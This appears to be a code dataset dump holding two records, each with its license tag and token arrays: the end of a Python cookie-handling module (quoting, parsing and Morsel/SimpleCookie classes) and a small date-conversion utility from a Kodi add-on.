'\345' : '\\345', '\346' : '\\346', '\347' : '\\347',
'\350' : '\\350', '\351' : '\\351', '\352' : '\\352',
'\353' : '\\353', '\354' : '\\354', '\355' : '\\355',
'\356' : '\\356', '\357' : '\\357', '\360' : '\\360',
'\361' : '\\361', '\362' : '\\362', '\363' : '\\363',
'\364' : '\\364', '\365' : '\\365', '\366' : '\\366',
'\367' : '\\367', '\370' : '\\370', '\371' : '\\371',
'\372' : '\\372', '\373' : '\\373', '\374' : '\\374',
'\375' : '\\375', '\376' : '\\376', '\377' : '\\377'
}
def _quote(str, LegalChars=_LegalChars):
r"""Quote a string for use in a cookie header.
If the string does not need to be double-quoted, then just return the
string. Otherwise, surround the string in doublequotes and quote
(with a \) special characters.
"""
if all(c in LegalChars for c in str):
return str
else:
return '"' + _nulljoin(_Translator.get(s, s) for s in str) + '"'
_OctalPatt = re.compile(r"\\[0-3][0-7][0-7]")
_QuotePatt = re.compile(r"[\\].")
def _unquote(mystr):
# If there aren't any doublequotes,
# then there can't be any special characters. See RFC 2109.
if len(mystr) < 2:
return mystr
if mystr[0] != '"' or mystr[-1] != '"':
return mystr
# We have to assume that we must decode this string.
# Down to work.
# Remove the "s
mystr = mystr[1:-1]
# Check for special sequences. Examples:
# \012 --> \n
# \" --> "
#
i = 0
n = len(mystr)
res = []
while 0 <= i < n:
o_match = _OctalPatt.search(mystr, i)
q_match = _QuotePatt.search(mystr, i)
if not o_match and not q_match: # Neither matched
res.append(mystr[i:])
break
# else:
j = k = -1
if o_match:
j = o_match.start(0)
if q_match:
k = q_match.start(0)
if q_match and (not o_match or k < j): # QuotePatt matched
res.append(mystr[i:k])
res.append(mystr[k+1])
i = k + 2
else: # OctalPatt matched
res.append(mystr[i:j])
res.append(chr(int(mystr[j+1:j+4], 8)))
i = j + 4
return _nulljoin(res)
# The _getdate() routine is used to set the expiration time in the cookie's HTTP
# header. By default, _getdate() returns the current time in the appropriate
# "expires" format for a Set-Cookie header. The one optional argument is an
# offset from now, in seconds. For example, an offset of -3600 means "one hour
# ago". The offset may be a floating point number.
#
_weekdayname = ['Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat', 'Sun']
_monthname = [None,
'Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun',
'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec']
def _getdate(future=0, weekdayname=_weekdayname, monthname=_monthname):
from time import gmtime, time
now = time()
year, month, day, hh, mm, ss, wd, y, z = gmtime(now + future)
return "%s, %02d %3s %4d %02d:%02d:%02d GMT" % \
(weekdayname[wd], day, monthname[month], year, hh, mm, ss)
class Morsel(dict):
"""A class to hold ONE (key, value) pair.
In a cookie, each such pair may have several attributes, so this class is
used to keep the attributes associated with the appropriate key,value pair.
This class also includes a coded_value attribute, which is used to hold
the network representation of the value. This is most useful when Python
objects are pickled for network transit.
"""
# RFC 2109 lists these attributes as reserved:
# path comment domain
# max-age secure version
#
# For historical reasons, these attributes are also reserved:
# expires
#
# This is an extension from Microsoft:
# httponly
#
# This dictionary provides a mapping from the lowercase
# variant on the left to the appropriate traditional
# formatting on the right.
_reserved = {
"expires" : "expires",
"path" : "Path",
"comment" : "Comment",
"domain" : "Domain",
"max-age" : "Max-Age",
"secure" : "secure",
"httponly" : "httponly",
"version" : "Version",
}
_flags = set(['secure', 'httponly'])
def __init__(self):
# Set defaults
self.key = self.value = self.coded_value = None
# Set default attributes
for key in self._reserved:
dict.__setitem__(self, key, "")
def __setitem__(self, K, V):
K = K.lower()
if not K in self._reserved:
raise CookieError("Invalid Attribute %s" % K)
dict.__setitem__(self, K, V)
def isReservedKey(self, K):
return K.lower() in self._reserved
def set(self, key, val, coded_val, LegalChars=_LegalChars):
# First we verify that the key isn't a reserved word
# Second we make sure it only contains legal characters
if key.lower() in self._reserved:
raise CookieError("Attempt to set a reserved key: %s" % key)
if any(c not in LegalChars for c in key):
raise CookieError("Illegal key value: %s" % key)
# It's a good key, so save it.
self.key = key
self.value = val
self.coded_value = coded_val
def output(self, attrs=None, header="Set-Cookie:"):
return "%s %s" % (header, self.OutputString(attrs))
__str__ = output
@as_native_str()
def __repr__(self):
if PY2 and isinstance(self.value, unicode):
val = str(self.value) # make it a newstr to remove the u prefix
else:
val = self.value
return '<%s: %s=%s>' % (self.__class__.__name__,
str(self.key), repr(val))
def js_output(self, attrs=None):
# Print javascript
return """
<script type="text/javascript">
<!-- begin hiding
document.cookie = \"%s\";
// end hiding -->
</script>
""" % (self.OutputString(attrs).replace('"', r'\"'))
def OutputString(self, attrs=None):
# Build up our result
#
result = []
append = result.append
# First, the key=value pair
append("%s=%s" % (self.key, self.coded_value))
# Now add any defined attributes
if attrs is None:
attrs = self._reserved
items = sorted(self.items())
for key, value in items:
if value == "":
continue
if key not in attrs:
continue
if key == "expires" and isinstance(value, int):
append("%s=%s" % (self._reserved[key], _getdate(value)))
elif key == "max-age" and isinstance(value, int):
append("%s=%d" % (self._reserved[key], value))
elif key == "secure":
append(str(self._reserved[key]))
elif key == "httponly":
append(str(self._reserved[key]))
else:
append("%s=%s" % (self._reserved[key], value))
# Return the result
return _semispacejoin(result)
#
# Pattern for finding cookie
#
# This used to be strict parsing based on the RFC2109 and RFC2068
# specifications. I have since discovered that MSIE 3.0x doesn't
# follow the character rules outlined in those specs. As a
# result, the parsing rules here are less strict.
#
_LegalCharsPatt = r"[\w\d!#%&'~_`><@,:/\$\*\+\-\.\^\|\)\(\?\}\{\=]"
_CookiePattern = re.compile(r"""
(?x) # This is a verbose pattern
(?P<key> # Start of group 'key'
""" + _LegalCharsPatt + r"""+? # Any word of at least one letter
) # End of group 'key'
( # Optional group: there may not be a value.
\s*=\s* # Equal Sign
(?P<val> # Start of group 'val'
"(?:[^\\"]|\\.)*" # Any doublequoted string
| # or
\w{3},\s[\w\d\s-]{9,11}\s[\d:]{8}\sGMT # Special case for "expires" attr
| # or
""" + _LegalCharsPatt + r"""* # Any word or empty string
) # End of group 'val'
)? # End of optional value group
\s* # Any number of spaces.
(\s+|;|$) # Ending either at space, semicolon, or EOS.
""", re.ASCII) # May be removed if safe.
# At long last, here is the cookie class. Using this class is almost just like
# using a dictionary. See this module's docstring for example usage.
#
class BaseCookie(dict):
"""A container class for a set of Morsels."""
def value_decode(self, val):
"""real_value, coded_value = value_decode(STRING)
Called prior to setting a cookie's value from the network
representation. The VALUE is the value read from HTTP
header.
Override this function to modify the behavior of cookies.
"""
return val, val
def value_encode(self, val):
"""real_value, coded_value = value_encode(VALUE)
Called prior to setting a cookie's value from the dictionary
representation. The VALUE is the value being assigned.
Override this function to modify the behavior of cookies.
"""
strval = str(val)
return strval, strval
def __init__(self, input=None):
if input:
self.load(input)
def __set(self, key, real_value, coded_value):
"""Private method for setting a cookie's value"""
M = self.get(key, Morsel())
M.set(key, real_value, coded_value)
dict.__setitem__(self, key, M)
def __setitem__(self, key, value):
"""Dictionary style assignment."""
rval, cval = self.value_encode(value)
self.__set(key, rval, cval)
def output(self, attrs=None, header="Set-Cookie:", sep="\015\012"):
"""Return a string suitable for HTTP."""
result = []
items = sorted(self.items())
for key, value in items:
result.append(value.output(attrs, header))
return sep.join(result)
__str__ = output
@as_native_str()
def __repr__(self):
l = []
items = sorted(self.items())
for key, value in items:
if PY2 and isinstance(value.value, unicode):
val = str(value.value) # make it a newstr to remove the u prefix
else:
val = value.value
l.append('%s=%s' % (str(key), repr(val)))
return '<%s: %s>' % (self.__class__.__name__, _spacejoin(l))
def js_output(self, attrs=None):
"""Return a string suitable for JavaScript."""
result = []
items = sorted(self.items())
for key, value in items:
result.append(value.js_output(attrs))
return _nulljoin(result)
def load(self, rawdata):
"""Load cookies from a string (presumably HTTP_COOKIE) or
from a dictionary. Loading cookies from a dictionary 'd'
is equivalent to calling:
map(Cookie.__setitem__, d.keys(), d.values())
"""
if isinstance(rawdata, str):
self.__parse_string(rawdata)
else:
# self.update() wouldn't call our custom __setitem__
for key, value in rawdata.items():
self[key] = value
return
def __parse_string(self, mystr, patt=_CookiePattern):
i = 0 # Our starting point
n = len(mystr) # Length of string
M = None # current morsel
while 0 <= i < n:
# Start looking for a cookie
match = patt.search(mystr, i)
if not match:
# No more cookies
break
key, value = match.group("key"), match.group("val")
i = match.end(0)
# Parse the key, value in case it's metainfo
if key[0] == "$":
# We ignore attributes which pertain to the cookie
# mechanism as a whole. See RFC 2109.
# (Does anyone care?)
if M:
M[key[1:]] = value
elif key.lower() in Morsel._reserved:
if M:
if value is None:
if key.lower() in Morsel._flags:
M[key] = True
else:
M[key] = _unquote(value)
elif value is not None:
rval, cval = self.value_decode(value)
self.__set(key, rval, cval)
M = self[key]
class SimpleCookie(BaseCookie):
"""
SimpleCookie supports strings as cookie values. When setting
the value using the dictionary assignment notation, SimpleCookie
calls the builtin str() to convert the value to a string. Values
received from HTTP are kept as strings.
"""
def value_decode(self, val):
return _unquote(val), val
def value_encode(self, val):
strval = str(val)
return strval, _quote(strval)
|
mit
|
[
381,
199,
3,
1898,
12293,
701,
377,
73,
573,
273,
89,
593,
7,
45,
4598,
89,
665,
280,
573,
32,
279,
453,
14,
1147,
14,
8654,
30,
199,
3,
199,
3,
4483,
2900,
5924,
5702,
199,
3,
199,
3,
8779,
370,
675,
12,
1331,
12,
2811,
12,
436,
11207,
642,
2032,
199,
3,
436,
2399,
3794,
367,
1263,
12016,
436,
1928,
14751,
365,
11882,
199,
3,
10009,
12,
2741,
626,
314,
3432,
4248,
4245,
7468,
315,
1006,
199,
3,
6866,
436,
626,
3865,
626,
4248,
4245,
436,
642,
4983,
199,
3,
4245,
7468,
315,
21038,
3794,
12,
436,
626,
314,
536,
402,
199,
3,
377,
73,
573,
273,
89,
593,
7,
45,
4598,
89,
221,
440,
506,
1202,
315,
19613,
1044,
503,
7974,
20976,
199,
3,
1126,
24522,
370,
4084,
402,
314,
2032,
1928,
2488,
12,
5313,
199,
3,
6791,
4983,
14,
199,
3,
199,
3,
377,
73,
573,
273,
89,
593,
7,
45,
4598,
89,
8990,
51,
11727,
2990,
1663,
14142,
7816,
2296,
5749,
199,
3,
4141,
12,
6931,
11727,
5292,
2990,
1634,
3169,
199,
3,
2401,
3092,
12,
1621,
4825,
6461,
7000,
377,
73,
573,
273,
89,
593,
7,
45,
4598,
89,
6262,
7024,
2381,
199,
3,
1821,
8820,
12,
9168,
1549,
9110,
6736,
1549,
1821,
6736,
199,
3,
28752,
4118,
27362,
20668,
1206,
4442,
9102,
1634,
4815,
12,
7126,
1549,
9206,
12,
199,
3,
7061,
1621,
1261,
9612,
1634,
7066,
12,
9254,
1549,
5010,
7056,
25657,
199,
3,
9612,
12,
7043,
5738,
1634,
1549,
1621,
11287,
1663,
2334,
4815,
1549,
199,
3,
13873,
30340,
1634,
5749,
4141,
14,
199,
3,
199,
381,
199,
3,
199,
3,
15418,
26,
14798,
14,
647,
12,
86,
499,
14,
1398,
12293,
15,
2036,
15,
1789,
22528,
26,
1651,
26,
1887,
3367,
573,
7910,
199,
3,
257,
701,
377,
73,
573,
273,
89,
593,
7,
45,
4598,
89,
665,
280,
573,
32,
279,
453,
14,
1147,
14,
8654,
30,
199,
3,
199,
3,
221,
14798,
14,
647,
365,
282,
2018,
859,
367,
314,
7252,
402,
3101,
199,
3,
221,
10049,
465,
282,
2018,
2600,
14,
221,
1666,
7329,
499,
6996,
367,
1655,
199,
3,
221,
2556,
641,
10049,
14,
199,
3,
199,
3,
221,
710,
3379,
16819,
370,
14312,
1849,
5635,
465,
282,
2600,
20382,
687,
199,
3,
221,
577,
811,
603,
9414,
1697,
334,
68,
811,
77,
32,
19902,
386,
14,
957,
9,
315,
9013,
21,
12,
1380,
946,
14286,
314,
199,
3,
221,
1642,
1015,
402,
700,
5306,
14,
647,
14,
199,
3,
199,
381,
199,
199,
82,
624,
199,
1014,
14,
7792,
859,
299,
1376,
370,
2366,
13,
2443,
687,
1611,
19,
14,
19,
199,
199,
21741,
1159,
282,
2690,
2351,
370,
2498,
4212,
370,
675,
642,
859,
14,
199,
1271,
314,
12427,
12,
642,
365,
314,
1454,
3794,
14,
199,
199,
1918,
10082,
83,
199,
9460,
199,
199,
6295,
316,
365,
8837,
1396,
8410,
1306,
687,
1455,
492,
10049,
199,
199,
24625,
402,
314,
900,
1265,
1343,
701,
6425,
282,
5494,
14,
8410,
1306,
445,
275,
10049,
14,
3184,
7810,
342,
199,
199,
25690,
1265,
9064,
2737,
2195,
14798,
12,
1265,
883,
1050,
1338,
2951,
465,
340,
652,
4898,
199,
65,
2600,
14,
8410,
1306,
445,
275,
10049,
14,
3184,
7810,
342,
2043,
1306,
445,
905,
592,
937,
275,
298,
1222,
1860,
2,
2043,
1306,
445,
905,
83,
21922,
937,
275,
298,
758,
2412,
2,
2043,
1306,
445,
14,
1199,
342,
2043,
283,
1084,
13,
7810,
26,
6085,
29,
1222,
1860,
60,
82,
60,
78,
1084,
13,
7810,
26,
308,
21922,
29,
758,
2412,
7,
199,
199,
1944,
3548,
626,
314,
21834,
6025,
402,
282,
14798,
365,
314,
199,
11227,
5655,
1475,
367,
282,
2494,
13,
7810,
26,
1406,
14,
221,
961,
365,
314,
199,
885,
5953,
14,
221,
2047,
883,
1570,
314,
1406,
436,
12487,
199,
2987,
701,
1808,
314,
1275,
1199,
342,
805,
8410,
1306,
445,
275,
10049,
14,
3184,
7810,
342,
2043,
1306,
445,
905,
24892,
89,
937,
275,
298,
5063,
2,
2043,
1306,
445,
905,
24892,
89,
6611,
515,
937,
275,
3286,
5306,
2,
2043,
1306,
870,
8,
35,
14,
1199,
8,
1291,
628,
7810,
26,
2237,
2043,
14798,
26,
882,
346,
89,
29,
5063,
27,
6912,
13043,
5306,
2043,
1306,
870,
8,
35,
14,
1199,
8,
3288,
6034,
1406,
628,
7810,
26,
2237,
2043,
14798,
26,
882,
346,
89,
29,
5063,
199,
199,
1918,
2248,
342,
1083,
402,
282,
14798,
5536,
83,
10049,
687,
282,
1059,
14,
221,
1010,
282,
199,
21337,
2884,
12,
1265,
3955,
675,
642,
1083,
370,
5536,
314,
10049,
687,
314,
199,
2856,
63,
13665,
3734,
1750,
14,
8410,
1306,
445,
275,
10049,
14,
3184,
7810,
342,
2043,
1306,
445,
14,
912,
480,
335,
6142,
29,
65,
526,
89,
27,
1321,
287,
3540,
29,
70,
7886,
531,
2043,
1306,
445,
14,
1199,
342,
2043,
283,
1084,
13,
7810,
26,
682,
6142,
29,
65,
526,
89,
60,
82,
60,
78,
1084,
13,
7810,
26,
1321,
287,
3540,
29,
70,
7886,
7,
199,
199,
1918,
2248,
342,
1083,
365,
366,
1060,
13,
475,
357,
262,
11179,
3595,
21119,
10049,
199,
12541,
282,
1059,
14,
221,
21067,
68,
25101,
17370,
12,
6032,
18734,
761,
4654,
12,
436,
1163,
199,
10180,
20907,
5460,
886,
440,
3743,
1180,
652,
14,
8410,
1306,
445,
275,
10049,
14,
3184,
7810,
342,
2043,
1306,
445,
14,
912,
360,
415,
69,
830,
82,
628,
37,
29,
14287,
2030,
27,
491,
29,
15022,
2041,
2310,
1103,
11436,
289,
16603,
29,
1103,
11533,
9426,
10784,
2043,
1306,
870,
8,
35,
9,
2043,
2494,
13,
7810,
26,
10074,
69,
830,
82,
628,
37,
29,
14287,
2030,
27,
491,
8178,
2041,
2310,
4451,
27,
289,
16603,
9529,
11533,
9426,
199,
199,
22321,
1819,
402,
314,
14798,
2597,
5171,
1006,
402,
314,
7329,
499,
6996,
199,
7810,
3004,
14,
221,
11842,
1159,
376,
2893,
1314,
5951,
314,
6912,
199,
3215,
14,
8410,
1306,
445,
275,
10049,
14,
3184,
7810,
342,
2043,
1306,
445,
905,
720,
79,
937,
275,
298,
3157,
14573,
2,
2043,
1306,
445,
905,
720,
79,
6611,
515,
937,
275,
10609,
2043,
1306,
870,
8,
35,
9,
2043,
2494,
13,
7810,
26,
312,
13322,
29,
3157,
14573,
27,
6912,
13043,
199,
199,
22321,
2600,
1819
] |
[
199,
3,
1898,
12293,
701,
377,
73,
573,
273,
89,
593,
7,
45,
4598,
89,
665,
280,
573,
32,
279,
453,
14,
1147,
14,
8654,
30,
199,
3,
199,
3,
4483,
2900,
5924,
5702,
199,
3,
199,
3,
8779,
370,
675,
12,
1331,
12,
2811,
12,
436,
11207,
642,
2032,
199,
3,
436,
2399,
3794,
367,
1263,
12016,
436,
1928,
14751,
365,
11882,
199,
3,
10009,
12,
2741,
626,
314,
3432,
4248,
4245,
7468,
315,
1006,
199,
3,
6866,
436,
626,
3865,
626,
4248,
4245,
436,
642,
4983,
199,
3,
4245,
7468,
315,
21038,
3794,
12,
436,
626,
314,
536,
402,
199,
3,
377,
73,
573,
273,
89,
593,
7,
45,
4598,
89,
221,
440,
506,
1202,
315,
19613,
1044,
503,
7974,
20976,
199,
3,
1126,
24522,
370,
4084,
402,
314,
2032,
1928,
2488,
12,
5313,
199,
3,
6791,
4983,
14,
199,
3,
199,
3,
377,
73,
573,
273,
89,
593,
7,
45,
4598,
89,
8990,
51,
11727,
2990,
1663,
14142,
7816,
2296,
5749,
199,
3,
4141,
12,
6931,
11727,
5292,
2990,
1634,
3169,
199,
3,
2401,
3092,
12,
1621,
4825,
6461,
7000,
377,
73,
573,
273,
89,
593,
7,
45,
4598,
89,
6262,
7024,
2381,
199,
3,
1821,
8820,
12,
9168,
1549,
9110,
6736,
1549,
1821,
6736,
199,
3,
28752,
4118,
27362,
20668,
1206,
4442,
9102,
1634,
4815,
12,
7126,
1549,
9206,
12,
199,
3,
7061,
1621,
1261,
9612,
1634,
7066,
12,
9254,
1549,
5010,
7056,
25657,
199,
3,
9612,
12,
7043,
5738,
1634,
1549,
1621,
11287,
1663,
2334,
4815,
1549,
199,
3,
13873,
30340,
1634,
5749,
4141,
14,
199,
3,
199,
381,
199,
3,
199,
3,
15418,
26,
14798,
14,
647,
12,
86,
499,
14,
1398,
12293,
15,
2036,
15,
1789,
22528,
26,
1651,
26,
1887,
3367,
573,
7910,
199,
3,
257,
701,
377,
73,
573,
273,
89,
593,
7,
45,
4598,
89,
665,
280,
573,
32,
279,
453,
14,
1147,
14,
8654,
30,
199,
3,
199,
3,
221,
14798,
14,
647,
365,
282,
2018,
859,
367,
314,
7252,
402,
3101,
199,
3,
221,
10049,
465,
282,
2018,
2600,
14,
221,
1666,
7329,
499,
6996,
367,
1655,
199,
3,
221,
2556,
641,
10049,
14,
199,
3,
199,
3,
221,
710,
3379,
16819,
370,
14312,
1849,
5635,
465,
282,
2600,
20382,
687,
199,
3,
221,
577,
811,
603,
9414,
1697,
334,
68,
811,
77,
32,
19902,
386,
14,
957,
9,
315,
9013,
21,
12,
1380,
946,
14286,
314,
199,
3,
221,
1642,
1015,
402,
700,
5306,
14,
647,
14,
199,
3,
199,
381,
199,
199,
82,
624,
199,
1014,
14,
7792,
859,
299,
1376,
370,
2366,
13,
2443,
687,
1611,
19,
14,
19,
199,
199,
21741,
1159,
282,
2690,
2351,
370,
2498,
4212,
370,
675,
642,
859,
14,
199,
1271,
314,
12427,
12,
642,
365,
314,
1454,
3794,
14,
199,
199,
1918,
10082,
83,
199,
9460,
199,
199,
6295,
316,
365,
8837,
1396,
8410,
1306,
687,
1455,
492,
10049,
199,
199,
24625,
402,
314,
900,
1265,
1343,
701,
6425,
282,
5494,
14,
8410,
1306,
445,
275,
10049,
14,
3184,
7810,
342,
199,
199,
25690,
1265,
9064,
2737,
2195,
14798,
12,
1265,
883,
1050,
1338,
2951,
465,
340,
652,
4898,
199,
65,
2600,
14,
8410,
1306,
445,
275,
10049,
14,
3184,
7810,
342,
2043,
1306,
445,
905,
592,
937,
275,
298,
1222,
1860,
2,
2043,
1306,
445,
905,
83,
21922,
937,
275,
298,
758,
2412,
2,
2043,
1306,
445,
14,
1199,
342,
2043,
283,
1084,
13,
7810,
26,
6085,
29,
1222,
1860,
60,
82,
60,
78,
1084,
13,
7810,
26,
308,
21922,
29,
758,
2412,
7,
199,
199,
1944,
3548,
626,
314,
21834,
6025,
402,
282,
14798,
365,
314,
199,
11227,
5655,
1475,
367,
282,
2494,
13,
7810,
26,
1406,
14,
221,
961,
365,
314,
199,
885,
5953,
14,
221,
2047,
883,
1570,
314,
1406,
436,
12487,
199,
2987,
701,
1808,
314,
1275,
1199,
342,
805,
8410,
1306,
445,
275,
10049,
14,
3184,
7810,
342,
2043,
1306,
445,
905,
24892,
89,
937,
275,
298,
5063,
2,
2043,
1306,
445,
905,
24892,
89,
6611,
515,
937,
275,
3286,
5306,
2,
2043,
1306,
870,
8,
35,
14,
1199,
8,
1291,
628,
7810,
26,
2237,
2043,
14798,
26,
882,
346,
89,
29,
5063,
27,
6912,
13043,
5306,
2043,
1306,
870,
8,
35,
14,
1199,
8,
3288,
6034,
1406,
628,
7810,
26,
2237,
2043,
14798,
26,
882,
346,
89,
29,
5063,
199,
199,
1918,
2248,
342,
1083,
402,
282,
14798,
5536,
83,
10049,
687,
282,
1059,
14,
221,
1010,
282,
199,
21337,
2884,
12,
1265,
3955,
675,
642,
1083,
370,
5536,
314,
10049,
687,
314,
199,
2856,
63,
13665,
3734,
1750,
14,
8410,
1306,
445,
275,
10049,
14,
3184,
7810,
342,
2043,
1306,
445,
14,
912,
480,
335,
6142,
29,
65,
526,
89,
27,
1321,
287,
3540,
29,
70,
7886,
531,
2043,
1306,
445,
14,
1199,
342,
2043,
283,
1084,
13,
7810,
26,
682,
6142,
29,
65,
526,
89,
60,
82,
60,
78,
1084,
13,
7810,
26,
1321,
287,
3540,
29,
70,
7886,
7,
199,
199,
1918,
2248,
342,
1083,
365,
366,
1060,
13,
475,
357,
262,
11179,
3595,
21119,
10049,
199,
12541,
282,
1059,
14,
221,
21067,
68,
25101,
17370,
12,
6032,
18734,
761,
4654,
12,
436,
1163,
199,
10180,
20907,
5460,
886,
440,
3743,
1180,
652,
14,
8410,
1306,
445,
275,
10049,
14,
3184,
7810,
342,
2043,
1306,
445,
14,
912,
360,
415,
69,
830,
82,
628,
37,
29,
14287,
2030,
27,
491,
29,
15022,
2041,
2310,
1103,
11436,
289,
16603,
29,
1103,
11533,
9426,
10784,
2043,
1306,
870,
8,
35,
9,
2043,
2494,
13,
7810,
26,
10074,
69,
830,
82,
628,
37,
29,
14287,
2030,
27,
491,
8178,
2041,
2310,
4451,
27,
289,
16603,
9529,
11533,
9426,
199,
199,
22321,
1819,
402,
314,
14798,
2597,
5171,
1006,
402,
314,
7329,
499,
6996,
199,
7810,
3004,
14,
221,
11842,
1159,
376,
2893,
1314,
5951,
314,
6912,
199,
3215,
14,
8410,
1306,
445,
275,
10049,
14,
3184,
7810,
342,
2043,
1306,
445,
905,
720,
79,
937,
275,
298,
3157,
14573,
2,
2043,
1306,
445,
905,
720,
79,
6611,
515,
937,
275,
10609,
2043,
1306,
870,
8,
35,
9,
2043,
2494,
13,
7810,
26,
312,
13322,
29,
3157,
14573,
27,
6912,
13043,
199,
199,
22321,
2600,
1819,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
felipenaselva/repo.felipe
|
plugin.video.specto/resources/lib/libraries/cleandate.py
|
33
|
1876
|
# -*- coding: utf-8 -*-
'''
Exodus Add-on
Copyright (C) 2016 Exodus
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
'''
import time,datetime
def iso_2_utc(iso_ts):
if not iso_ts or iso_ts is None: return 0
delim = -1
if not iso_ts.endswith('Z'):
delim = iso_ts.rfind('+')
if delim == -1: delim = iso_ts.rfind('-')
if delim > -1:
ts = iso_ts[:delim]
sign = iso_ts[delim]
tz = iso_ts[delim + 1:]
else:
ts = iso_ts
tz = None
if ts.find('.') > -1:
ts = ts[:ts.find('.')]
try: d = datetime.datetime.strptime(ts, '%Y-%m-%dT%H:%M:%S')
except TypeError: d = datetime.datetime(*(time.strptime(ts, '%Y-%m-%dT%H:%M:%S')[0:6]))
dif = datetime.timedelta()
if tz:
hours, minutes = tz.split(':')
hours = int(hours)
minutes = int(minutes)
if sign == '-':
hours = -hours
minutes = -minutes
dif = datetime.timedelta(minutes=minutes, hours=hours)
utc_dt = d - dif
epoch = datetime.datetime.utcfromtimestamp(0)
delta = utc_dt - epoch
try: seconds = delta.total_seconds() # works only on 2.7
except: seconds = delta.seconds + delta.days * 24 * 3600 # close enough
return seconds
|
gpl-2.0
|
[
3,
1882,
2803,
26,
2774,
13,
24,
1882,
199,
199,
2344,
272,
1316,
364,
527,
2654,
13,
265,
272,
1898,
334,
35,
9,
7800,
1316,
364,
527,
339,
961,
2240,
365,
2867,
2032,
26,
1265,
883,
3604,
652,
436,
15,
269,
2811,
272,
652,
1334,
314,
2895,
402,
314,
1664,
1696,
1684,
844,
465,
3267,
701,
272,
314,
2868,
2290,
2752,
12,
1902,
1015,
650,
402,
314,
844,
12,
503,
272,
334,
292,
2195,
945,
9,
1263,
2945,
1015,
14,
339,
961,
2240,
365,
1854,
315,
314,
3661,
626,
652,
911,
506,
2997,
12,
272,
1325,
2428,
1821,
3408,
27,
1928,
2755,
314,
2478,
3750,
402,
272,
3169,
503,
3092,
2381,
437,
3115,
3104,
14,
221,
1666,
314,
272,
1664,
1696,
1684,
844,
367,
1655,
2436,
14,
339,
2047,
1077,
1172,
3086,
282,
1331,
402,
314,
1664,
1696,
1684,
844,
272,
3180,
543,
642,
2240,
14,
221,
982,
440,
12,
1937,
665,
1014,
921,
1544,
14,
3689,
14,
1308,
15,
2383,
4743,
199,
2344,
421,
199,
646,
900,
12,
2083,
421,
199,
318,
11601,
63,
18,
63,
5834,
8,
4595,
63,
1086,
304,
272,
340,
440,
11601,
63,
1086,
503,
11601,
63,
1086,
365,
488,
26,
372,
378,
272,
21799,
275,
446,
17,
272,
340,
440,
11601,
63,
1086,
14,
4130,
360,
58,
735,
267,
21799,
275,
11601,
63,
1086,
14,
14542,
360,
13854,
267,
340,
21799,
508,
446,
17,
26,
21799,
275,
11601,
63,
1086,
14,
14542,
21950,
339,
340,
21799,
690,
446,
17,
26,
267,
6714,
275,
11601,
63,
1086,
1491,
15966,
61,
267,
2070,
275,
11601,
63,
1086,
59,
15966,
61,
267,
5823,
275,
11601,
63,
1086,
59,
15966,
435,
413,
2938,
272,
587,
26,
267,
6714,
275,
11601,
63,
1086,
267,
5823,
275,
488,
339,
340,
6714,
14,
1623,
7563,
690,
446,
17,
26,
267,
6714,
275,
6714,
1491,
1086,
14,
1623,
7563,
61,
339,
862,
26,
366,
275,
2197,
14,
2083,
14,
9866,
8,
1086,
12,
1543,
57,
3295,
77,
3295,
19772,
5,
40,
2689,
45,
2689,
51,
358,
272,
871,
3146,
26,
366,
275,
2197,
14,
2083,
29316,
521,
14,
9866,
8,
1086,
12,
1543,
57,
3295,
77,
3295,
19772,
5,
40,
2689,
45,
2689,
51,
5832,
16,
26,
22,
2459,
339,
487,
70,
275,
2197,
14,
7473,
342,
272,
340,
5823,
26,
267,
10857,
12,
9395,
275,
5823,
14,
1294,
11633,
267,
10857,
275,
1109,
8,
8419,
9,
267,
9395,
275,
1109,
8,
10430,
9,
267,
340,
2070,
508,
20905,
288,
10857,
275,
446,
8419,
288,
9395,
275,
446,
10430,
267,
487,
70,
275,
2197,
14,
7473,
8,
10430,
29,
10430,
12,
10857,
29,
8419,
9,
272,
19314,
63,
3583,
275,
366,
446,
487,
70,
272,
9463,
275,
2197,
14,
2083,
14,
5834,
18531,
8,
16,
9,
272,
5762,
275,
19314,
63,
3583,
446,
9463,
272,
862,
26,
4696,
